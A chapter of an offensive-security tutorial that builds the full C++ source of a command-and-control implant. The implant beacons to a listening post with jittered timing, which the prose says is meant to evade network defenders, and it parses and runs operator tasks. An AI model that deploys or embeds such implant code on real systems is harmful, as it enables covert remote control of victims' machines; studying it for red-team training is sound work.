Chapter 3: Basic Implant & Tasking
Building a basic implant in C++ and how to add new tasks.
building-c2-implants-in-cpp-master.zip
230KB
Binary
Book Source Code

Introduction

We'll be building a basic implant called RainDoll with some simple tasking in this chapter. The tasks will be the following:
  • Ping: When receiving a ping message, respond back with a pong message.
  • Configure: Set implant specific options such as running status and dwell time.
  • Execute: Run OS commands provided by the user.
  • ListThreads: List the threads in a given process.
This implant will be talking to the HTTP listening post (Skytree) we built in the previous chapter. The implant source code is heavily based on a project by Josh Lospinoso and there are only minor modifications to the one authored by Josh. It was released as part of his talk on building implants with modern C++ called "C++ for Hackers" (https://vimeo.com/384348826). I highly recommend giving it a watch and checking out the GitHub repository. The talk is very easy to understand as a beginner and you'll learn some neat techniques about the modern C++ language along the way. If you're interested in C++, consider checking out his book on the subject called C++ Crash Course (https://nostarch.com/cppcrashcourse).

Prerequisites & Initial Files

For development, we'll be working on a Windows 10 64-bit system. This project will leverage a couple different libraries, including Boost. If you've never heard of Boost, it's an excellent resource for speeding up development with a wide array of out-of-the-box solutions to common programming challenges. Why should you use Boost libraries? According to the Boost website:
In a word, Productivity. Use of high-quality libraries like Boost speeds initial development, results in fewer bugs, reduces reinvention-of-the-wheel, and cuts long-term maintenance costs. And since Boost libraries tend to become de facto or de jure standards, many programmers are already familiar with them.
We'll also be using C++ Requests (https://github.com/whoshuu/cpr) and JSON for Modern C++ (https://github.com/nlohmann/json). These will help us easily send HTTP requests with C++ and handle JSON without a lot of hassle. Lastly, we're going to be making heavy use of Visual Studio 2019 and you'll want to ensure that it's installed/configured to use the "Desktop development with C++" workload (for help with getting this all setup, see the link here).
So without further ado, let's begin! The above mentioned libraries can be installed using the package manager vcpkg (for Quick Start instructions on Windows, see the link here). Ensure that it's downloaded/bootstrapped somewhere like C:\dev\vcpkg and then run the following commands in an elevated PowerShell prompt:
Integrate vcpkg with Visual Studio 2019
1
.\vcpkg integrate install
Copied!
Install the required packages
1
.\vcpkg install boost:x64-windows
2
.\vcpkg install cpr:x64-windows
3
.\vcpkg install nlohmann-json:x64-windows
Copied!
The installation of the Boost libraries in particular will probably take a while, so grab a tea or coffee while you wait. When the prerequisites are installed, we should be able to use them in our Visual Studio project successfully. Alternatively, Boost can be installed manually using the Getting Started guide and JSON for Modern C++ can be downloaded as a header here. C++ Requests can currently be built with vcpkg or Conan, as outlined here.
Let's begin creating our implant by opening up Visual Studio 2019 and creating a Blank Project named "RainDoll", ensure that the language used is C++17. This can be verified by looking at the following option: RainDoll Property Pages Window > General > C++ Language Standard > ISO C++ 17 Standard
Create a file and call it main.cpp in the Source Files folder. We'll start by specifying the details of the listening post we built in the previous chapter:
main.cpp
1
#ifdef _WIN32
2
#define WIN32_LEAN_AND_MEAN
3
#endif
4
5
#include <stdio.h>
6
7
int main()
8
{
9
// Specify address, port and URI of listening post endpoint
10
const auto host = "localhost";
11
const auto port = "5000";
12
const auto uri = "/results";
13
}
Copied!

Implant Project Headers

Now, we're going to get to work on defining the details of our Implant object, starting with the headers. Create a new file called implant.h in the Headers Files folder in the Solution Explorer and add in the following code:
implant.h
1
#pragma once
2
3
#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING
4
5
#include "tasks.h"
6
7
#include <string>
8
#include <string_view>
9
#include <mutex>
10
#include <future>
11
#include <atomic>
12
#include <vector>
13
#include <random>
14
15
#include <boost/property_tree/ptree.hpp>
16
17
struct Implant {
18
// Our implant constructor
19
Implant(std::string host, std::string port, std::string uri);
20
// The thread for servicing tasks
21
std::future<void> taskThread;
22
// Our public functions that the implant exposes
23
void beacon();
24
void setMeanDwell(double meanDwell);
25
void setRunning(bool isRunning);
26
void serviceTasks();
27
28
private:
29
// Listening post endpoint args
30
const std::string host, port, uri;
31
// Variables for implant config, dwell time and running status
32
std::exponential_distribution<double> dwellDistributionSeconds;
33
std::atomic_bool isRunning;
34
// Define our mutexes since we're doing async I/O stuff
35
std::mutex taskMutex, resultsMutex;
36
// Where we store our results
37
boost::property_tree::ptree results;
38
// Where we store our tasks
39
std::vector<Task> tasks;
40
// Generate random device
41
std::random_device device;
42
43
void parseTasks(const std::string& response);
44
[[nodiscard]] std::string sendResults();
45
};
46
47
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
48
std::string_view port,
49
std::string_view uri,
50
std::string_view payload);
51
Copied!
We'll go one code block at a time and I'll explain the purpose of each section.
1
// Our implant constructor
2
Implant(std::string host, std::string port, std::string uri);
3
// The thread for servicing tasks
4
std::future<void> taskThread;
5
// Our public functions that the implant exposes
6
void beacon();
7
void setMeanDwell(double meanDwell);
8
void setRunning(bool isRunning);
9
void serviceTasks();
Copied!
First, we define the Implant constructor. Next, we declare a thread that will service our tasks so we can perform work asynchronously. Then, we define four public functions. We'll want to have a function that performs a beaconing loop and continuously communicates with our listening post. We also want to have functions that are related to configuring the implant such as setting how long the wait time is between beacons (dwell time) and the running status (on/off). Lastly, we want to have a function that will go through all the tasks received from the listening post and perform them on the target:
Once you've written the above code, we'll start defining the private variables and functions for the Implant object:
1
private:
2
// Listening post endpoint args
3
const std::string host, port, uri;
4
// Variables for implant config, dwell time and running status
5
std::exponential_distribution<double> dwellDistributionSeconds;
6
std::atomic_bool isRunning;
7
// Define our mutexes since we're doing async I/O stuff
8
std::mutex taskMutex, resultsMutex;
9
// Where we store our results
10
boost::property_tree::ptree results;
11
// Where we store our tasks
12
std::vector<Task> tasks;
13
// Generate random device
14
std::random_device device;
15
16
void parseTasks(const std::string& response);
17
[[nodiscard]] std::string sendResults();
Copied!
We define the variables to hold the details about our listening post. Next, we're declaring a variable for the dwell time and a simple Boolean for the running status. The dwellDistributionSeconds variable uses exponential distribution to produce a variable number of seconds to dwell for, ensuring that the communication pattern does not appear as a constant rate. We don't want the time between our beaconing requests to be constant because this appears highly suspicious to an analyst who might be reviewing network communications. We then declare some mutex variables that we will use to ensure our asynchronous I/O for the tasks and results are not interacting with things when they aren't supposed to. We'll use a property tree from the Boost library to store our results and pass a Task type to the vector template. We haven't defined a Task type yet so this will have a red squiggle underneath it, but we'll add that later. The last private variable is for generating a pseudo-random number.
As for our private functions, we'll be declaring a function to parse tasks from the listening post response and a function to send task results to the listening post. You'll notice that we have an attribute called "[[nodiscard]]" attached to the "sendResults()" function. This attribute means that if the function return value is not used, then the compiler should throw a warning because something is wrong. We never expect to be in a situation were we make a call to send results and discard the return value. To learn more about the "[[nodiscard]]" attribute, see the resources here and here.
Outside of the Implant object, we'll also be declaring a function to make the HTTP requests to the listening post. It will take the host, port and URI as arguments along with the payload we want to send:
1
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
2
std::string_view port,
3
std::string_view uri,
4
std::string_view payload);
Copied!
That's it for the implant header, now let's move on to defining our tasks. Create a new file within the Header Files section in the Solution Explorer and call it tasks.h. It should contain the following code by the time we're done:
tasks.h
1
#pragma once
2
3
#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING
4
5
#include "results.h"
6
7
#include <variant>
8
#include <string>
9
#include <string_view>
10
11
#include <boost/uuid/uuid.hpp>
12
#include <boost/property_tree/ptree.hpp>
13
14
15
// Define implant configuration
16
struct Configuration {
17
Configuration(double meanDwell, bool isRunning);
18
const double meanDwell;
19
const bool isRunning;
20
};
21
22
23
// Tasks
24
// ===========================================================================================
25
26
// PingTask
27
// -------------------------------------------------------------------------------------------
28
struct PingTask {
29
PingTask(const boost::uuids::uuid& id);
30
constexpr static std::string_view key{ "ping" };
31
[[nodiscard]] Result run() const;
32
const boost::uuids::uuid id;
33
};
34
35
36
// ConfigureTask
37
// -------------------------------------------------------------------------------------------
38
struct ConfigureTask {
39
ConfigureTask(const boost::uuids::uuid& id,
40
double meanDwell,
41
bool isRunning,
42
std::function<void(const Configuration&)> setter);
43
constexpr static std::string_view key{ "configure" };
44
[[nodiscard]] Result run() const;
45
const boost::uuids::uuid id;
46
private:
47
std::function<void(const Configuration&)> setter;
48
const double meanDwell;
49
const bool isRunning;
50
};
51
52
53
// ===========================================================================================
54
55
// REMEMBER: Any new tasks must be added here too!
56
using Task = std::variant<PingTask, ConfigureTask>;
57
58
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
59
std::function<void(const Configuration&)> setter);
60
Copied!
First thing we do is define our Configuration object that will hold the settings for implant dwell time and running status:
1
// Define implant configuration
2
struct Configuration {
3
Configuration(double meanDwell, bool isRunning);
4
const double meanDwell;
5
const bool isRunning;
6
};
Copied!
Next, let's define a simple ping task:
1
// PingTask
2
// -------------------------------------------------------------------------------------------
3
struct PingTask {
4
PingTask(const boost::uuids::uuid& id);
5
constexpr static std::string_view key{ "ping" };
6
[[nodiscard]] Result run() const;
7
const boost::uuids::uuid id;
8
};
Copied!
After the constructor, we provide a key to identify the task and call it "ping". We then declare a "run()" function that will return a Result object and mark it as "nodiscard". We haven't yet defined the Result object so this will appear with a red squiggle underneath. However, we'll add this in later so don't worry about it for now. Lastly, we specify a UUID to help track the individual tasks that are executing.
We'll work on the configure task next which will set the dwell time and running status:
1
// ConfigureTask
2
// -------------------------------------------------------------------------------------------
3
struct ConfigureTask {
4
ConfigureTask(const boost::uuids::uuid& id,
5
double meanDwell,
6
bool isRunning,
7
std::function<void(const Configuration&)> setter);
8
constexpr static std::string_view key{ "configure" };
9
[[nodiscard]] Result run() const;
10
const boost::uuids::uuid id;
11
private:
12
std::function<void(const Configuration&)> setter;
13
const double meanDwell;
14
const bool isRunning;
15
};
Copied!
After the constructor, we set a key to identify the task and call it "configure". The rest of the code is the same as the ping task, except that we have some private variables to store the mean dwell time value and the running status.
Lastly, we declare the function that will be responsible for parsing the tasks we receive from the listening post:
1
// REMEMBER: Any new tasks must be added here too!
2
using Task = std::variant<PingTask, ConfigureTask>;
3
4
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
5
std::function<void(const Configuration&)> setter);
Copied!
It's now time for us to fill out the contents of our last header file, go ahead and create a file named results.h and ensure it's created in the Header Files section. We'll be writing the following code:
results.h
1
#pragma once
2
3
#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING
4
5
#include <string>
6
#include <boost/uuid/uuid.hpp>
7
8
// Define our Result object
9
struct Result {
10
Result(const boost::uuids::uuid& id,
11
std::string contents,
12
bool success);
13
const boost::uuids::uuid id;
14
const std::string contents;
15
const bool success;
16
};
Copied!
The results object will contain a UUID to keep track of each result we return, a string variable to hold the contents of the result and a boolean to signal if the task was successful or not. We're finally ready to open up the main.cpp file again and add in the rest of our main code below the listening post endpoint variables:
main.cpp
1
// Instantiate our implant object
2
Implant implant{ host, port, uri };
3
// Call the beacon method to start beaconing loop
4
try {
5
implant.beacon();
6
}
7
catch (const boost::system::system_error& se) {
8
printf("\nSystem error: %s\n", se.what());
9
}
Copied!
As you can see in the code above, we instantiate an Implant object with the listening post details and then call the "beacon()" function to start the beaconing loop. The full contents of the main.cpp file should look like the following:
main.cpp
1
#ifdef _WIN32
2
#define WIN32_LEAN_AND_MEAN
3
#endif
4
5
#include "implant.h"
6
7
#include <stdio.h>
8
9
#include <boost/system/system_error.hpp>
10
11
12
int main()
13
{
14
// Specify address, port and URI of listening post endpoint
15
const auto host = "localhost";
16
const auto port = "5000";
17
const auto uri = "/results";
18
// Instantiate our implant object
19
Implant implant{ host, port, uri };
20
// Call the beacon method to start beaconing loop
21
try {
22
implant.beacon();
23
}
24
catch (const boost::system::system_error& se) {
25
printf("\nSystem error: %s\n", se.what());
26
}
27
}
Copied!
Phew, that was a lot of work to lay out the boilerplate for our implant! But, we're now ready to get into the nitty gritty details of our implant logic.

Implant Code

The code you should have up to this point can be found in the folder called "chapter_3-1". Now, create a new file and call it implant.cpp, ensure it's created in the Source Files section. We'll be writing the following code in this part of the chapter, don't worry too much if you don't understand all of it. I'll be reviewing each major section shortly:
implant.cpp
1
#ifdef _WIN32
2
#define WIN32_LEAN_AND_MEAN
3
#endif
4
5
#include "implant.h"
6
#include "tasks.h"
7
8
#include <string>
9
#include <string_view>
10
#include <iostream>
11
#include <chrono>
12
#include <algorithm>
13
14
#include <boost/uuid/uuid_io.hpp>
15
#include <boost/property_tree/json_parser.hpp>
16
#include <boost/property_tree/ptree.hpp>
17
18
#include <cpr/cpr.h>
19
20
#include <nlohmann/json.hpp>
21
22
using json = nlohmann::json;
23
24
25
// Function to send an asynchronous HTTP POST request with a payload to the listening post
26
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
27
std::string_view port,
28
std::string_view uri,
29
std::string_view payload) {
30
// Set all our request constants
31
auto const serverAddress = host;
32
auto const serverPort = port;
33
auto const serverUri = uri;
34
auto const httpVersion = 11;
35
auto const requestBody = json::parse(payload);
36
37
// Construct our listening post endpoint URL from user args, only HTTP to start
38
std::stringstream ss;
39
ss << "http://" << serverAddress << ":" << serverPort << serverUri;
40
std::string fullServerUrl = ss.str();
41
42
// Make an asynchronous HTTP POST request to the listening post
43
cpr::AsyncResponse asyncRequest = cpr::PostAsync(cpr::Url{ fullServerUrl },
44
cpr::Body{ requestBody.dump() },
45
cpr::Header{ {"Content-Type", "application/json"} }
46
);
47
// Retrieve the response when it's ready
48
cpr::Response response = asyncRequest.get();
49
50
// Show the request contents
51
std::cout << "Request body: " << requestBody << std::endl;
52
53
// Return the body of the response from the listening post, may include new tasks
54
return response.text;
55
};
56
57
// Method to enable/disable the running status on our implant
58
void Implant::setRunning(bool isRunningIn) { isRunning = isRunningIn; }
59
60
61
// Method to set the mean dwell time on our implant
62
void Implant::setMeanDwell(double meanDwell) {
63
// Exponential_distribution allows random jitter generation
64
dwellDistributionSeconds = std::exponential_distribution<double>(1. / meanDwell);
65
}
66
67
// Method to send task results and receive new tasks
68
[[nodiscard]] std::string Implant::sendResults() {
69
// Local results variable
70
boost::property_tree::ptree resultsLocal;
71
// A scoped lock to perform a swap
72
{
73
std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
74
resultsLocal.swap(results);
75
}
76
// Format result contents
77
std::stringstream resultsStringStream;
78
boost::property_tree::write_json(resultsStringStream, resultsLocal);
79
// Contact listening post with results and return any tasks received
80
return sendHttpRequest(host, port, uri, resultsStringStream.str());
81
}
82
83
// Method to parse tasks received from listening post
84
void Implant::parseTasks(const std::string& response) {
85
// Local response variable
86
std::stringstream responseStringStream{ response };
87
88
// Read response from listening post as JSON
89
boost::property_tree::ptree tasksPropTree;
90
boost::property_tree::read_json(responseStringStream, tasksPropTree);
91
92
// Range based for-loop to parse tasks and push them into the tasks vector
93
// Once this is done, the tasks are ready to be serviced by the implant
94
for (const auto& [taskTreeKey, taskTreeValue] : tasksPropTree) {
95
// A scoped lock to push tasks into vector, push the task tree and setter for the configuration task
96
{
97
tasks.push_back(
98
parseTaskFrom(taskTreeValue, [this](const auto& configuration) {
99
setMeanDwell(configuration.meanDwell);
100
setRunning(configuration.isRunning); })
101
);
102
}
103
}
104
}
105
106
// Loop and go through the tasks received from the listening post, then service them
107
void Implant::serviceTasks() {
108
while (isRunning) {
109
// Local tasks variable
110
std::vector<Task> localTasks;
111
// Scoped lock to perform a swap
112
{
113
std::scoped_lock<std::mutex> taskLock{ taskMutex };
114
tasks.swap(localTasks);
115
}
116
// Range based for-loop to call the run() method on each task and add the results of tasks
117
for (const auto& task : localTasks) {
118
// Call run() on each task and we'll get back values for id, contents and success
119
const auto [id, contents, success] = std::visit([](const auto& task) {return task.run(); }, task);
120
// Scoped lock to add task results
121
{
122
std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
123
results.add(boost::uuids::to_string(id) + ".contents", contents);
124
results.add(boost::uuids::to_string(id) + ".success", success);
125
}
126
}
127
// Go to sleep
128
std::this_thread::sleep_for(std::chrono::seconds{ 1 });
129
}
130
}
131
132
// Method to start beaconing to the listening post
133
void Implant::beacon() {
134
while (isRunning) {
135
// Try to contact the listening post and send results/get back tasks
136
// Then, if tasks were received, parse and store them for execution
137
// Tasks stored will be serviced by the task thread asynchronously
138
try {
139
std::cout << "RainDoll is sending results to listening post...\n" << std::endl;
140
const auto serverResponse = sendResults();
141
std::cout << "\nListening post response content: " << serverResponse << std::endl;
142
std::cout << "\nParsing tasks received..." << std::endl;
143
parseTasks(serverResponse);
144
std::cout << "\n================================================\n" << std::endl;
145
}
146
catch (const std::exception& e) {
147
printf("\nBeaconing error: %s\n", e.what());
148
}
149
// Sleep for a set duration with jitter and beacon again later
150
const auto sleepTimeDouble = dwellDistributionSeconds(device);
151
const auto sleepTimeChrono = std::chrono::seconds{ static_cast<unsigned long long>(sleepTimeDouble) };
152
153
std::this_thread::sleep_for(sleepTimeChrono);
154
}
155
}
156
157
// Initialize variables for our object
158
Implant::Implant(std::string host, std::string port, std::string uri) :
159
// Listening post endpoint URL arguments
160
host{ std::move(host) },
161
port{ std::move(port) },
162
uri{ std::move(uri) },
163
// Options for configuration settings
164
isRunning{ true },
165
dwellDistributionSeconds{ 1. },
166
// Thread that runs all our tasks, performs asynchronous I/O
167
taskThread{ std::async(std::launch::async, [this] { serviceTasks(); }) } {
168
}
Copied!
First thing we'll do is write a function to perform the HTTP requests to the listening post. This is the section that makes use of C++ Requests (https://github.com/whoshuu/cpr) and JSON for Modern C++ (https://github.com/nlohmann/json). Ensure that both of these headers are loaded and available for use in the project before proceeding with writing the rest of the implant code:
1
// Function to send an asynchronous HTTP POST request with a payload to the listening post
2
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
3
std::string_view port,
4
std::string_view uri,
5
std::string_view payload) {
6
// Set all our request constants
7
auto const serverAddress = host;
8
auto const serverPort = port;
9
auto const serverUri = uri;
10
auto const httpVersion = 11;
11
auto const requestBody = json::parse(payload);
12
13
// Construct our listening post endpoint URL from user args, only HTTP to start
14
std::stringstream ss;
15
ss << "http://" << serverAddress << ":" << serverPort << serverUri;
16
std::string fullServerUrl = ss.str();
17
18
// Make an asynchronous HTTP POST request to the listening post
19
cpr::AsyncResponse asyncRequest = cpr::PostAsync(cpr::Url{ fullServerUrl },
20
cpr::Body{ requestBody.dump() },
21
cpr::Header{ {"Content-Type", "application/json"} }
22
);
23
// Retrieve the response when it's ready
24
cpr::Response response = asyncRequest.get();
25
26
// Show the request contents
27
std::cout << "Request body: " << requestBody << std::endl;
28
29
// Return the body of the response from the listening post, may include new tasks
30
return response.text;
31
};
Copied!
We start out by setting all the constants for the HTTP request including the address of the server and port, the HTTP protocol version (1.1) and the request body that will hold our JSON payload. Next, we construct the full server URL out of the constants and make an asynchronous HTTP POST request to the server with our request body. The request body will be what holds the results of any tasks that were run previously. Finally, we store the response and return the response text to the function caller.
In the next section, we'll cover the functions needed for setting the implant running status and mean dwell time:
1
// Method to enable/disable the running status on our implant
2
void Implant::setRunning(bool isRunningIn) { isRunning = isRunningIn; }
3
4
5
// Method to set the mean dwell time on our implant
6
void Implant::setMeanDwell(double meanDwell) {
7
// Exponential_distribution allows random jitter generation
8
dwellDistributionSeconds = std::exponential_distribution<double>(1. / meanDwell);
9
}
Copied!
The setRunning() function takes a Boolean and sets the "isRunning" flag. This will tell the implant if it should continue running task code or if it should terminate and cease all functioning. The "setMeanDwell" function will be what tells the implant how often it should contact the listening post for instructions or how long it should "dwell" for. Again, it's generally a bad idea to have a consistent dwell time, because it sticks out like a sore thumb in network logs. If a defender looks into the network traffic and sees something beaconing out to the internet every 5 minutes like clockwork. That is the type of thing that will warrant further investigation. However, if like most traffic that's going out to the internet, your dwell time is less consistent, then you will blend in more. That's why, we use an exponential distribution to give our dwell time random jitter or variations in time that will appear random.
Next, we'll look at the function to send task results to the listening post:
1
// Method to send task results and receive new tasks
2
[[nodiscard]] std::string Implant::sendResults() {
3
// Local results variable
4
boost::property_tree::ptree resultsLocal;
5
// A scoped lock to perform a swap
6
{
7
std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
8
resultsLocal.swap(results);
9
}
10
// Format result contents
11
std::stringstream resultsStringStream;
12
boost::property_tree::write_json(resultsStringStream, resultsLocal);
13
// Contact listening post with results and return any tasks received
14
return sendHttpRequest(host, port, uri, resultsStringStream.str());
15
}
Copied!
We use the Boost Property Tree type to store the results in JSON format. We'll use a scoped lock to swap the values of the results into the local variable "resultsLocal". Using a scoped lock is necessary because we're doing things asynchronously and we want to ensure that we're not stepping on another thread's toes while we swap to get the task results. Finally, we format the result contents and pass the request body to the "sendHttpRequest" function for delivery to our listening post.
Now that we've got a function to send results, let's look at the "parseTasks" function to process implant tasks:
1
// Method to parse tasks received from listening post
2
void Implant::parseTasks(const std::string& response) {
3
// Local response variable
4
std::stringstream responseStringStream{ response };
5
6
// Read response from listening post as JSON
7
boost::property_tree::ptree tasksPropTree;
8
boost::property_tree::read_json(responseStringStream, tasksPropTree);
9
10
// Range based for-loop to parse tasks and push them into the tasks vector
11
// Once this is done, the tasks are ready to be serviced by the implant
12
for (const auto& [taskTreeKey, taskTreeValue] : tasksPropTree) {
13
// A scoped lock to push tasks into vector, push the task tree and setter for the configuration task
14
{
15
tasks.push_back(
16
parseTaskFrom(taskTreeValue, [this](const auto& configuration) {
17
setMeanDwell(configuration.meanDwell);
18
setRunning(configuration.isRunning); })
19
);
20
}
21
}
22
}
Copied!
The first thing we do is declare a String Stream variable to hold the response with the tasks we got from the listening post. We read the response as a JSON message and then for each key-value pair, we push them into a vector called "tasks". We also call the setter functions "setMeanDwell" and "setRunning" for the implant configuration.
We're almost done going over all the code in the implant section, the last major thing we want to do is go through all the tasks and run the code to execute them in a dedicated thread. Let's talk about the "serviceTasks" function:
1
// Loop and go through the tasks received from the listening post, then service them
2
void Implant::serviceTasks() {
3
while (isRunning) {
4
// Local tasks variable
5
std::vector<Task> localTasks;
6
// Scoped lock to perform a swap
7
{
8
std::scoped_lock<std::mutex> taskLock{ taskMutex };
9
tasks.swap(localTasks);
10
}
11
// Range based for-loop to call the run() method on each task and add the results of tasks
12
for (const auto& task : localTasks) {
13
// Call run() on each task and we'll get back values for id, contents and success
14
const auto [id, contents, success] = std::visit([](const auto& task) {return task.run(); }, task);
15
// Scoped lock to add task results
16
{
17
std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
18
results.add(boost::uuids::to_string(id) + ".contents", contents);
19
results.add(boost::uuids::to_string(id) + ".success", success);
20
}
21
}
22
// Go to sleep
23
std::this_thread::sleep_for(std::chrono::seconds{ 1 });
24
}
25
}
Copied!
We begin with a while-loop that runs based on the status of the Boolean "isRunning" flag that's set in our implant configuration object. Then, we declare a local vector variable for storing our tasks. After that, we have a scoped lock and we access the object that holds the tasks we got back from the listening post, then push them into our "localTasks" variable. Again, we use the scoped lock because we're performing these actions asynchronously and we want avoid stepping on another thread's toes. Finally, we use a for-loop to go through each task and call their declared "run" method. We place the returned "id", "contents" and "success" values into respective variables. We then enter a scoped lock to call the "results.add()" function and store our task results/success status. Then, we tell the thread to go to sleep for 1 second.
We can now put everything together and talk about the "beacon" function that runs a while-loop:
1
// Method to start beaconing to the listening post
2
void Implant::beacon() {
3
while (isRunning) {
4
// Try to contact the listening post and send results/get back tasks
5
// Then, if tasks were received, parse and store them for execution
6
// Tasks stored will be serviced by the task thread asynchronously
7
try {
8
std::cout << "RainDoll is sending results to listening post...\n" << std::endl;
9
const auto serverResponse = sendResults();
10
std::cout << "\nListening post response content: " << serverResponse << std::endl;
11
std::cout << "\nParsing tasks received..." << std::endl;
12
parseTasks(serverResponse);
13
std::cout << "\n================================================\n" << std::endl;
14
}
15
catch (const std::exception& e) {
16
printf("\nBeaconing error: %s\n", e.what());
17
}
18
// Sleep for a set duration with jitter and beacon again later
19
const auto sleepTimeDouble = dwellDistributionSeconds(device);
20
const auto sleepTimeChrono = std::chrono::seconds{ static_cast<unsigned long long>(sleepTimeDouble) };
21
22
std::this_thread::sleep_for(sleepTimeChrono);
23
}
24
}
Copied!
The loop we see in the above code runs based on the value of the "isRunning" variable. It's going to try and contact the listening post by sending any task results (or a blank JSON payload if there are no results). Then, it's going to parse the tasks received from the listening post inside the "serverResponse" variable. The "serviceTasks" thread that's running asynchronously will execute each task after they're parsed and stored. Finally, we sleep for a jittered amount of time so we aren't sending requests too regularly and can appear less suspicious in network traffic.
The last minor block of code to cover is the Implant constructor:
1
// Initialize variables for our object
2
Implant::Implant(std::string host, std::string port, std::string uri) :
3
// Listening post endpoint URL arguments
4
host{ std::move(host) },
5
port{ std::move(port) },
6
uri{ std::move(uri) },
7
// Options for configuration settings
8
isRunning{ true },
9
dwellDistributionSeconds{ 1. },
10
// Thread that runs all our tasks, performs asynchronous I/O
11
taskThread{ std::async(std::launch::async, [this] { serviceTasks(); }) } {
12
}
Copied!
The above code block is relatively straightforward, we're moving the listening post endpoint URL arguments from the user into variables and setting the initial options for the implant configuration. Lastly, we start the task thread that will run the "serviceTasks" function and actually run all of our task code.

Results Code

The portion of the code dealing with task results will be pretty short, go ahead and create a results.cpp file within the Source Files directory. The contents will be as follows.
results.cpp
1
#ifdef _WIN32
2
#define WIN32_LEAN_AND_MEAN
3
#endif
4
5
#include "results.h"
6
7
8
// Result object returned by all tasks
9
// Includes the task ID, result contents and success status (true/false)
10
Result::Result(const boost::uuids::uuid& id,
11
std::string contents,
12
const bool success)
13
: id(id), contents{ std::move(contents) }, success(success) {}
Copied!
As you can see, we are simply declaring the Result object that instantiates an id, result contents and the success status of the task. That's all for the results section, let's move on to the next portion of our implant, the tasks themselves!

Tasks Code

So far, we've gone over our implant logic and the results, we now need to define what each of the tasks do when they're requested by an operator from the listening post. Our finished tasks code will be created in a file called tasks.cpp within the Source Files directory. We'll go over each section in detail, so don't worry about trying to understand all of this right away:
tasks.cpp
1
#ifdef _WIN32
2
#define WIN32_LEAN_AND_MEAN
3
#endif
4
5
#include "tasks.h"
6
7
#include <string>
8
#include <array>
9
#include <sstream>
10
#include <fstream>
11
#include <cstdlib>
12
13
#include <boost/uuid/uuid_io.hpp>
14
#include <boost/property_tree/ptree.hpp>
15
16
#include <Windows.h>
17
#include <tlhelp32.h>
18
19
20
// Function to parse the tasks from the property tree returned by the listening post
21
// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)
22
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
23
std::function<void(const Configuration&)> setter) {
24
// Get the task type and identifier, declare our variables
25
const auto taskType = taskTree.get_child("task_type").get_value<std::string>();
26
const auto idString = taskTree.get_child("task_id").get_value<std::string>();
27
std::stringstream idStringStream{ idString };
28
boost::uuids::uuid id{};
29
idStringStream >> id;
30
31
// Conditionals to determine which task should be executed based on key provided
32
// REMEMBER: Any new tasks must be added to the conditional check, along with arg values
33
// ===========================================================================================
34
if (taskType == PingTask::key) {
35
return PingTask{
36
id
37
};
38
}
39
if (taskType == ConfigureTask::key) {
40
return ConfigureTask{
41
id,
42
taskTree.get_child("dwell").get_value<double>(),
43
taskTree.get_child("running").get_value<bool>(),
44
std::move(setter)
45
};
46
}
47
48
// ===========================================================================================
49
50
// No conditionals matched, so an undefined task type must have been provided and we error out
51
std::string errorMsg{ "Illegal task type encountered: " };
52
errorMsg.append(taskType);
53
throw std::logic_error{ errorMsg };
54
}
55
56
// Instantiate the implant configuration
57
Configuration::Configuration(const double meanDwell, const bool isRunning)
58
: meanDwell(meanDwell), isRunning(isRunning) {}
59
60
61
// Tasks
62
// ===========================================================================================
63
64
// PingTask
65
// -------------------------------------------------------------------------------------------
66
PingTask::PingTask(const boost::uuids::uuid& id)
67
: id{ id } {}
68
69
Result PingTask::run() const {
70
const auto pingResult = "PONG!";
71
return Result{ id, pingResult, true };
72
}
73
74
75
// ConfigureTask
76
// -------------------------------------------------------------------------------------------
77
ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,
78
double meanDwell,
79
bool isRunning,
80
std::function<void(const Configuration&)> setter)
81
: id{ id },
82
meanDwell{ meanDwell },
83
isRunning{ isRunning },
84
setter{ std::move(setter) } {}
85
86
Result ConfigureTask::run() const {
87
// Call setter to set the implant configuration, mean dwell time and running status
88
setter(Configuration{ meanDwell, isRunning });
89
return Result{ id, "Configuration successful!", true };
90
}
91
92
// ===========================================================================================
93
Copied!
The section we'll focus on first is the block that deals with parsing the tasks and calling the returning the proper task objects:
1
// Function to parse the tasks from the property tree returned by the listening post
2
// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)
3
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
4
std::function<void(const Configuration&)> setter) {
5
// Get the task type and identifier, declare our variables
6
const auto taskType = taskTree.get_child("task_type").get_value<std::string>();
7
const auto idString = taskTree.get_child("task_id").get_value<std::string>();
8
std::stringstream idStringStream{ idString };
9
boost::uuids::uuid id{};
10
idStringStream >> id;
11
12
// Conditionals to determine which task should be executed based on key provided
13
// REMEMBER: Any new tasks must be added to the conditional check, along with arg values
14
// ===========================================================================================
15
if (taskType == PingTask::key) {
16
return PingTask{
17
id
18
};
19
}
20
if (taskType == ConfigureTask::key) {
21
return ConfigureTask{
22
id,
23
taskTree.get_child("dwell").get_value<double>(),
24
taskTree.get_child("running").get_value<bool>(),
25
std::move(setter)
26
};
27
}
28
29
// ===========================================================================================
30
31
// No conditionals matched, so an undefined task type must have been provided and we error out
32
std::string errorMsg{ "Illegal task type encountered: " };
33
errorMsg.append(taskType);
34
throw std::logic_error{ errorMsg };
35
}
Copied!
The "parseTaskFrom" function starts by accessing the task tree passed in by the user, then setting the corresponding task type and task ID variables. Recall that the task tree being parsed is the JSON message that was received from the listening post and it will be what contains the requested operator tasks. We then check to see which task we need to execute by doing some if-conditional logic. So, if the variable for "taskType" has a value that's equal to the Ping task key, then we return a Ping task object and the associated "run" method containing the task code will be called.
